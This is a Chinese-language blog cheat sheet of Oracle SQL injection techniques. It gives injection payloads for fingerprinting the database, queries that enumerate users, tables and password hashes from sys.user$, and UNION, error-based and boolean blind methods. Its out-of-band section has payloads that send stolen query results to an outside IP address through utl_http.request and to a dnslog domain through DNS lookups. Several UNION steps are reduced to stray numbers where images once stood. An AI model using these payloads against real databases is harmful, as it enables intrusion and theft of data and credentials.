SQL注入tips(Oracle)

0x00 判断数据库类型

  • Oracle有一些自带的表:dual、user_tables

    • id=45 and (select count(*) from user_tables)>0--
    • id=45 and (select count(*) from dual)>0--
  • 利用自带的一些函数:譬如utl_http.request 这些

  • 利用Oracle的字符连接符:CHR(97)||CHR(110)||CHR(100)||CHR(32)||CHR(49)||CHR(61)||CHR(49)

0x01 基本信息获取

  • 查看sid

    select instance_name from v$instance;
    
  • 查看数据库版本:

    select banner from v$version where rownum=1;
    select banner from sys.v_$version where rownum=1;
    
  • 查看用户:

    select user from dual; --当前用户
    select username from user_users; --当前用户
    select username from all_users; --查看所有用户
    select username from dba_users; --查看所有用户(需要有权限)
    
  • 查看当前用户角色:

    select role from session_roles;
    
  • 查看数据库用户名和密码:

    select name, password, astatus from sys.user$; --需要权限
    
  • 通过注入获取数据

    --列database
    select global_name from global_name;
    select sys.database_name from dual;
    select name from v$database;
    select instance_name from v$instance;
    --列owner
    select distinct owner from all_tables;
    --列owner的tables
    select table_name from all_tables where owner='UTEST';
    --列tables的columns
    select column_name from all_tab_columns where table_name='TUSER';
    select column_name from all_tab_cols where table_name='TUSER';
    
    
    --列tablespace
    select tablespace_name from user_tablespaces;
    --列tablespace的tables
    select table_name from user_tables where tablespace_name='DB_TEST_DATA';
    --列tables的columns
    select column_name from user_tab_columns where table_name='TUSER';
    

0x02 UNION query注入

  • 存在注入 70

  • 判断列数 40 80

  • 尝试union select 60 依次判断字段类型(下图判断出第二个字段是字符型) 80 50

  • 得到表名
    得到表的个数 75 得到第一个表的表名 75 得到第二个表的表名 75

  • 得到第一个表的字段 80

  • 得到第一个表的数据 80

0x03 error-based注入

  • ctxsys.drithsx.sn 60

  • dbms_xdb_version.checkin 80

  • dbms_xdb_version.makeversioned 85

  • dbms_xdb_version.uncheckout 85

  • dbms_utility.sqlid_to_sqlhash 85

  • utl_inaddr.get_host_name(在11g以后需要是超级用户或已授予网络访问权限的用户才能使用)

0x04 boolean-based blind注入

  • case…when… 65 65

  • decode

decode(条件,值1,值1结果,值2,值2结果,。。。值n,值n结果,默认值)

条件和那个值相等就返回那个值的结果 65 65

  • instr

instr(字符串,子串)

从一个字符串中查找指定子串的位置,这里一直将位置置为1 55 55 55

0x05 无回显注入

  • web服务接收结果

    select * from utest.msg where id=2 and 1=utl_http.request('http://59.108.35.198:8888/'||(select user from dual));
    
  • dns服务接收结果

    select * from utest.msg where id=2 and (select utl_inaddr.get_host_address((select user from dual)||'.dnslog.wyb0.com') from dual) is not null;
    


Reference(侵删):

若未作声明则文章版权归本人(@reber)所有,转载请注明原文链接:

可以返回顶部